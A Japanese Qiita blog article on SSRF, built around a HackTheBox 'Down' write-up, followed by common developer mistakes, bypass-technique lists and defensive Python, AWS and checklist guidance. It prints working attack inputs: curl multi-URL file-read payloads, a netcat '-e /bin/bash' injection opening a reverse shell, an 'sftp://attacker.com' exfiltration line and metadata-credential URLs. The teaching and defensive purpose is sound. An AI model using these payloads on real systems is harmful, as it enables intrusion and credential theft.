1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

『SSRFの歩き方:開発者がやりがちなミスと回避策』〜HackTheBox "Down" で学んだ「便利な機能」が攻撃者の足がかりになる瞬間〜

1
Posted at

要旨

 「URL を入力すると、そのサイトが生きているか死んでいるか確認してくれる」——一見無害なこの機能が、HackTheBox の "Down" マシンでは サーバー内ファイル読み取り → ソースコード漏洩 → シェル取得 という完全な侵害チェーンの起点になりました。SSRF(Server-Side Request Forgery:サーバーサイドリクエストフォージェリ)は OWASP Top 10(2021)に独立カテゴリとして初選出され、2025 年版でも引き続き重要脅威として位置づけられています[1]。2019 年の Capital One 侵害では SSRF が AWS の IAM 認証情報を奪われる起点となり、1 億人分の顧客データが流出しました[2]。本記事では、HackTheBox "Down" の実体験を軸に、SSRF の技術的構造・開発者がやりがちなミス・クラウド環境での致命的な影響・そして実践的な回避策を論じます。


記事本文

1. HackTheBox "Down" で学んだこと——「便利な機能」の裏側

 Down は Ubuntu 22.04 上で動く Easy ランクの Linux マシンで、「URL を入力してサイトの死活確認を行う Web アプリ」がメインの攻撃面です[3]。ペンテストを始めた瞬間に感じる「何か嫌な予感」——それがこのマシンで学ぶ SSRF の本質です。

初期偵察の結果(nmap):

PORT   STATE  SERVICE
22/tcp open   ssh     OpenSSH 8.9p1
80/tcp open   http    Apache httpd 2.4.52

 ポートはシンプルに 2 つ。Web アプリを見ると、フォームに URL を入力すると「サイトが生きているか確認する」機能があります。最初の疑問は「このリクエストをサーバーはどうやって処理しているのか」です。

# netcat リスナーを立てて、サーバーがどんなリクエストを送ってくるか確認
nc -lvnp 4444

# アプリのフォームに自分の IP を入力
http://10.10.14.X:4444
接続を受信:
GET / HTTP/1.1
User-Agent: curl/7.81.0
Host: 10.10.14.X:4444

 User-Agent: curl——バックエンドが curl コマンドでリクエストを実行していることが確定しました。これはとても重要な情報です。curl-url パラメータへの入力を適切にサニタイズしなければ、file:// スキーマや複数 URL 指定など多彩な機能を悪用できます[4]。


2. SSRF とは何か——「サーバーを踏み台にする」攻撃の仕組み

 SSRF とは、攻撃者が用意した URL をサーバーに取得させることで、本来アクセスできないリソースへのリクエストをサーバー自身に代行させる攻撃です[1]。

通常のリクエストフロー:
攻撃者のブラウザ → [インターネット] → Webサーバー → レスポンス返却

SSRF のリクエストフロー:
攻撃者のブラウザ → Webサーバー → [サーバー内部 / 内部ネットワーク] → 機密リソース
                     ↑
              ここに悪意ある URL を渡す
              サーバーが「代わりに」リクエストする

 重要なのは、サーバーは通常「自分自身(localhost)」や「内部ネットワーク」を信頼しているという点です。クライアントには到達できない 127.0.0.1・内部 API・クラウドのメタデータサービスも、サーバー自身からなら到達できます。SSRF はこの「信頼の非対称性」を突きます。


3. Down マシンでの実際の攻撃手順——curl の仕様を武器にする

ステップ1:フィルターの存在を確認

 http://127.0.0.1 を入力してみると、何らかのフィルタリングが行われています。単純な localhost127.0.0.1 は弾かれる設定のようです。これは「開発者がブラックリストで守ろうとした」典型的なパターンです。

ステップ2:curl の複数 URL 機能によるバイパス

 curl には本来「複数の URL を一度に指定できる」仕様があります。Down マシンの鍵はここにありました[3][4]。

# curl の複数URL仕様(本来の使い方)
curl http://example.com http://another.com

# Down での悪用:正規URLを先頭に置き、2番目でfile://スキーマを使用
# フォームの入力値に下記を入力(URLエンコードが必要な場合あり)
http://example.com%20file:///etc/passwd

 %20(スペース)で区切ることで、curl は 2 つの URL として解釈します。1 つ目は正規の HTTP リクエスト(フィルターをパス)、2 つ目は file:// スキーマによるローカルファイル読み取りです。

# /etc/passwd の取得に成功
root:x:0:0:root:/root:/bin/bash
...
aleks:x:1000:1000:aleks,,,:/home/aleks:/bin/bash

 /etc/passwd を読み取れた——これで SSRF による任意ファイル読み取りが確定しました。

ステップ3:Apache 設定からソースコードへ

# Apache の設定ファイルでドキュメントルートを特定
http://example.com%20file:///etc/apache2/sites-enabled/000-default.conf

# → DocumentRoot が /var/www/html であることが判明
# index.php のソースコードを取得
http://example.com%20file:///var/www/html/index.php

 ソースコードを読み解くと、「Expert Mode」という隠し機能があることが判明します。Expert Mode は netcat を使って TCP 接続を直接実行する機能で、これが次の攻撃面——パラメータインジェクション——へのドアを開きます[4]。

ステップ4:パラメータインジェクションからシェル取得

# Expert Mode のパラメータに netcat のフラグを注入
# -e /bin/bash を追加してリバースシェルを確立
host=10.10.14.X&port=4444%20-e%20/bin/bash

 これで初期シェルを取得。その後 pswm(パスワードマネージャー)の認証情報ファイルを解読してユーザー aleks のパスワードを入手し、sudo の設定ミスを経由して root 権限を取得しました[3][4]。


4. 開発者がやりがちな5つのミス

 Down マシンを通して浮かび上がった「開発者の思考の盲点」を体系化します。

ミス1:ブラックリストによる入力検証

 最も多い実装ミスがこれです。「localhost127.0.0.1 を弾けば安全」という発想は、エンコード・プロトコル・curl の仕様に即座に破られます。

// NG:ブラックリスト方式(簡単にバイパスされる)
$blocked = ['localhost', '127.0.0.1', '169.254.169.254'];
foreach ($blocked as $b) {
    if (strpos($url, $b) !== false) {
        die("Blocked");
    }
}

// これらすべてでバイパス可能:
// http://127.0.0.1         → 10進数表記: http://2130706433
// http://localhost         → URLエンコード: http://%6c%6f%63%61%6c%68%6f%73%74
// http://[::1]             → IPv6ループバック
// http://127.0.0.1.nip.io → DNS リバインディング
// file:///etc/passwd       → 別スキーマ

 正解はホワイトリスト方式——許可するドメイン・IP・スキーマを明示的に定義し、それ以外をすべて拒否することです[5]。

ミス2:ユーザー入力をコマンドにそのまま渡す

 Down マシンの本質的な問題はここにあります。curl "$user_input" のような実装は、curl の全機能を攻撃者に解放します。

// NG:ユーザー入力をそのままcurlに渡す
$url = $_POST['url'];
exec("curl $url", $output);  // file://, gopher://, dict:// なんでも通る

// NG:escapeshellarg を使っても curl の複数URL仕様でバイパスできる場合がある
$url = escapeshellarg($_POST['url']);
exec("curl $url", $output);

// OK:ライブラリを使い、プロトコルとホストを事前に検証してから実行
// (後述のホワイトリスト検証と組み合わせる)

 コマンドライン引数として直接渡すのではなく、HTTP ライブラリ(PHP の cURL 拡張・Python の requests・Java の HttpClient)を使い、URL のパース結果を検証してから実行することが基本です[5]。

ミス3:レスポンスをそのままユーザーに返す

// NG:取得したレスポンスをそのままユーザーに返す
$response = file_get_contents($url);
echo $response;  // 内部サービスの情報がそのまま流出

// OK:必要な情報だけをパースして返す
// 例:「サイトが生きているか」だけ確認するなら HTTP ステータスコードのみ返す
$statusCode = getHttpStatusCode($url);
echo $statusCode === 200 ? "UP" : "DOWN";

 Blind SSRF(レスポンスが返らない)より、Full SSRF(レスポンスが返る)の方が危険度が高いのはここが理由です。レスポンスを返す機能がある場合、取得した内容を必要最小限に加工してから返すことが重要です[2]。

ミス4:file://・gopher://・dict:// スキーマの無制限許可

# curl が対応する危険なスキーマ
file:///etc/passwd              # ローカルファイル読み取り
file:///proc/self/environ       # 環境変数(シークレット漏洩)
gopher://127.0.0.1:25/...       # 内部 SMTP サーバーへの接続
dict://127.0.0.1:11211/         # Memcached への接続
sftp://attacker.com/            # 外部への認証情報送信

 URL のスキーマを https:// のみに制限することで、これらの攻撃ベクタのほとんどを排除できます[5]。

ミス5:クラウド環境でのメタデータエンドポイントへの無配慮

 これは Down マシンの直接のテーマではありませんが、実環境では最も致命的なミスです。

# AWS のメタデータエンドポイント(IMDSv1 の場合)
# SSRFがあれば誰でも IAM 認証情報を取得できる
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# レスポンス:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",  ← これで AWS API を使い放題
  "Expiration": "2025-12-31T..."
}

 2019 年の Capital One 侵害はまさにこの手口で、SSRF を通じて AWS の IAM 認証情報を奪い、S3 バケットから 1 億人分のデータを流出させました[2]。2025 年 3 月にも AWS EC2 インスタンスのメタデータを標的とした大規模キャンペーンが F5 Labs によって観測されています[6]。


5. SSRF バイパステクニックの全体像

 防御設計のために、攻撃者が使うバイパス手法を体系的に理解しておくことが重要です[5][7]。

IP アドレスのエンコードバリエーション

# 127.0.0.1 の各種表現(すべて同じアドレスに解決される)
http://127.0.0.1          # 通常
http://2130706433         # 10進数
http://0x7f000001         # 16進数
http://0177.0.0.1         # 8進数
http://[::1]              # IPv6
http://[::ffff:127.0.0.1] # IPv4マップIPv6
http://127.1              # 短縮形
http://127.0.1            # 短縮形その2

DNS を使ったバイパス

# DNS リバインディング攻撃
# 検証時は正規 IP → 実際のリクエスト時は 127.0.0.1 に解決させる
http://attacker-controlled-domain.com
# → TTL=0 で DNS レスポンスを切り替える

# nip.io などのサービス
http://127.0.0.1.nip.io   # 127.0.0.1 に解決される

URL パーサーの差異を突く

# @記号を使った混乱(RFC違反だがパーサーによって処理が異なる)
http://expected.com@internal.example.com

# フラグメントの悪用
http://internal.example.com#expected.com

# 二重スラッシュ・パスの正規化差異
http://internal.example.com/%2F%2Fexpected.com

6. 実践的な防御実装

防御の基本:URL をホワイトリストで検証してからライブラリで実行

# Python での SSRF 対策実装例
import ipaddress
import urllib.parse
import requests
from requests.exceptions import RequestException

ALLOWED_SCHEMES = {'https', 'http'}
ALLOWED_DOMAINS = {'api.example.com', 'cdn.example.com'}  # 許可リスト

# ブロックすべき内部アドレス範囲
INTERNAL_RANGES = [
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('169.254.0.0/16'),  # リンクローカル(AWSメタデータ等)
    ipaddress.ip_network('::1/128'),          # IPv6 ループバック
    ipaddress.ip_network('fc00::/7'),         # IPv6 ユニークローカル
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urllib.parse.urlparse(url)
        
        # スキーマの検証
        if parsed.scheme not in ALLOWED_SCHEMES:
            return False
        
        # ホスト名の検証(ホワイトリスト)
        if parsed.hostname not in ALLOWED_DOMAINS:
            return False
        
        # DNS 解決後の IP アドレスを検証(DNS リバインディング対策)
        import socket
        ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
        for internal_range in INTERNAL_RANGES:
            if ip in internal_range:
                return False
        
        return True
    except Exception:
        return False

def safe_fetch(url: str) -> dict:
    if not is_safe_url(url):
        raise ValueError("URL is not allowed")
    
    try:
        # タイムアウト設定・リダイレクト制限
        response = requests.get(
            url,
            timeout=5,
            allow_redirects=False,  # リダイレクトをブロック(オープンリダイレクト防止)
            headers={'User-Agent': 'MyApp/1.0'}
        )
        # ステータスコードのみ返す(レスポンスボディを返さない)
        return {"status": response.status_code}
    except RequestException:
        return {"status": "error"}

AWS 環境:IMDSv2 の強制適用

# 既存インスタンスを IMDSv2 のみに変更(IMDSv1 を無効化)
aws ec2 modify-instance-metadata-options \
  --instance-id i-xxxxxxxxxxxxxxxxx \
  --http-tokens required \
  --http-put-response-hop-limit 1

# Terraform での設定
resource "aws_instance" "app" {
  # ...
  metadata_options {
    http_tokens                 = "required"   # IMDSv2 強制
    http_put_response-hop-limit = 1
    http_endpoint               = "enabled"
  }
}

 IMDSv2 は PUT リクエストでトークンを取得してから GET リクエストに使用するセッション型認証を採用しており、単純な SSRF では PUT リクエストのカスタムヘッダーを送信できないため、メタデータへのアクセスを防ぎます[8]。


7. 防御側チェックリスト:開発者が今すぐ確認すべき項目

URL 入力を扱うすべての機能について

  • ユーザー入力 URL をそのままコマンド(curlwgetexec)に渡していないか
  • プロトコルスキーマを https:// のみに制限しているか(file://gopher://dict:// を明示的に拒否)
  • ブラックリストではなくホワイトリストで検証しているか
  • DNS 解決後の IP アドレスを内部アドレスレンジと照合しているか
  • リダイレクト先も同様に検証しているか(オープンリダイレクト経由のバイパス対策)
  • レスポンスボディをそのままユーザーに返していないか

クラウド環境(AWS)について

  • EC2 インスタンスで IMDSv2(http-tokens=required)を強制しているか
  • IAM ロールに最小権限を適用しているか(SSRF で認証情報が奪われた場合の被害局限化)
  • セキュリティグループで 169.254.169.254 への直接アクセスを制限しているか

設計・テストについて

  • コードレビューで「ユーザー入力が HTTP リクエストの行き先を決める」箇所を特定しているか
  • SAST ツール(Semgrep 等)で SSRF パターンを検出ルールに組み込んでいるか
  • ペネトレーションテストで Out-of-Band SSRF(Burp Collaborator 等)も検証しているか

8. セキュリティエンジニアとして考えるべきこと

 Down マシンをクリアしてから、私が考え続けていることがあります。

 「URL を入力してサイトが生きているか確認する」——この機能を作った開発者は間違いなく善意でした。 管理者がサービスの死活を監視できるように、という実用的な目的があった。しかし curl "$user_input" という実装の一行が、/etc/passwd の読み取りからソースコード漏洩、パラメータインジェクションによるシェル取得まで続く侵害チェーンを開きました。

 SSRF の本質は「サーバーへの信頼の転用」です。ブラウザからは届かないリソースにサーバーは届く。その「特権的な立ち位置」を攻撃者がユーザー入力を通じて乗っ取る——これは Linux PrivEsc における SUID の悪用や、AD 攻撃における Kerberoasting と構造的に同じです。「正規の動作が攻撃になる」のです。

 特にクラウド時代において、SSRF の致命的なリスクは 169.254.169.254 のクラウドメタデータサービスへのアクセスです。Capital One の事案が示したように、SSRF 一つが IAM 認証情報の窃取、S3 バケットへの無制限アクセス、1 億人規模のデータ流出へと連鎖します。HackTheBox の Down は「Easy」マシンですが、その技術構造は現実の世界で何百万件もの被害を生んだ脆弱性と同じです。

 開発者として、そしてセキュリティエンジニアとして、「ユーザーが入力した URL をサーバーが取得する」という処理を書く瞬間は、必ず SSRF のリスクを意識するべきだというのが、Down マシンが私に残した思考の変化です。


参考文献

[1] OWASP. "A10:2021 – Server-Side Request Forgery (SSRF)."
https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_(SSRF)/

[2] Wiz. "Server-Side Request Forgery: What It Is & How To Fix It." September 9, 2025.
https://www.wiz.io/academy/application-security/server-side-request-forgery

[3] 0xdf. "HTB: Down." June 17, 2025.
https://0xdf.gitlab.io/2025/06/17/htb-down.html

[4] TheHiker. "HackTheBox 'Down' Walkthrough." Medium, June 18, 2025.
https://medium.com/@The_Hiker/hackthebox-down-walkthrough-thehiker-189802e3e5b8

[5] PortSwigger Web Security. "Server-side request forgery (SSRF)."
https://portswigger.net/web-security/ssrf

[6] F5 Labs. "Campaign Targets Amazon EC2 Instance Metadata via SSRF." April 8, 2025.
https://www.f5.com/labs/articles/campaign-targets-amazon-ec2-instance-metadata-via-ssrf

[7] Vectra AI. "Server Side Request Forgery: Attacks & Prevention." February 6, 2026.
https://www.vectra.ai/topics/server-side-request-forgery

[8] AWS Security Blog. "Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Service."
https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/

[9] Resecurity. "SSRF to AWS Metadata Exposure: How Attackers Steal Cloud Credentials." August 6, 2025.
https://www.resecurity.com/blog/article/ssrf-to-aws-metadata-exposure-how-attackers-steal-cloud-credentials

[10] Hacking The Cloud. "Steal EC2 Metadata Credentials via SSRF."
https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/

[11] WireHawk Security. "Breaking into 'Down' on Hack The Box with SSRF and Command Injection." Medium, August 14, 2025.
https://medium.com/@WireHawkSecurity/breaking-into-down-on-hack-the-box-with-ssrf-and-command-injection-%EF%B8%8F-3d31f033a115

[12] ismycodesafe.com. "OWASP Top 10 2025: What Changed and How to Fix Each Vulnerability." April 2025.
https://ismycodesafe.com/learn/vulnerabilities

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?